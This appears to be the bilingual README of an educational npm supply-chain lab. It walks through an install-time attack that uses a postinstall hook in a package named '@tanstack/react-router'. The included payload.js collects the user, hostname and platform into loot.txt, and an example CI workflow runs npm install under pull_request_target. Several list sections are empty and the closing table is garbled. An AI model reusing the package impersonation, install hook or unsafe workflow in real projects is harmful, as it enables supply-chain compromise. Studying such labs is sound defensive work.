
Educational lab simulating npm supply chain attacks, CI/CD abuse, and install-time code execution via CVE-2026-45321. Hands-on defensive security research for understanding dependency compromise and lifecycle hook exploitation.
用于理解 npm 供应链攻击、CI/CD 滥用及安装时代码执行的教育实验室
本项目仅用于:
请勿将本项目用于:
本实验室模拟了以下事件的基本概念:
模拟在本地安全进行,不涉及:
lab/
├── fake-repo/ # 模拟目标仓库
├── attacker-package/ # 模拟恶意包
└── victim-project/ # 模拟受害者
攻击者包
↓
npm install
↓
postinstall 脚本运行
↓
payload.js 自动执行
↓
受害者遭受安装时执行攻击
git clone https://github.com/renewablehacking/CVE-2026-45321-Tanstack.git
cd CVE-2026-45321-Tanstack
cd attacker-package
npm install
npm pack
结果:
tanstack-react-router-1.169.5.tgz
cd ../victim-project
npm install ../attacker-package/tanstack-react-router-1.169.5.tgz --foreground-scripts
如果成功,将显示:
=== MALICIOUS PAYLOAD EXECUTED ===
并且文件:
loot.txt
会被自动创建。
const os = require('os');
const fs = require('fs');
console.log("=== MALICIOUS PAYLOAD EXECUTED ===");
const info = `
USER=${process.env.USER}
HOST=${os.hostname()}
PLATFORM=${os.platform()}
`;
console.log(info);
fs.writeFileSync("loot.txt", info);
{
"name": "@tanstack/react-router",
"version": "1.169.5",
"scripts": {
"postinstall": "node payload.js"
}
}
本项目还可以用于理解:
工作流示例:
name: CI
on:
pull_request_target:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm install
| 实验室模拟 | 真实世界 |
|---|---|
| attacker-package | 被入侵的 TanStack 包 |
| payload.js | 恶意安装程序 |
| postinstall | 生命周期钩子滥用 |
| victim-project |
本实验室旨在提高对以下方面的认识:
| 受害者开发者/CI 环境 |
| fake-repo | GitHub Actions 管道 |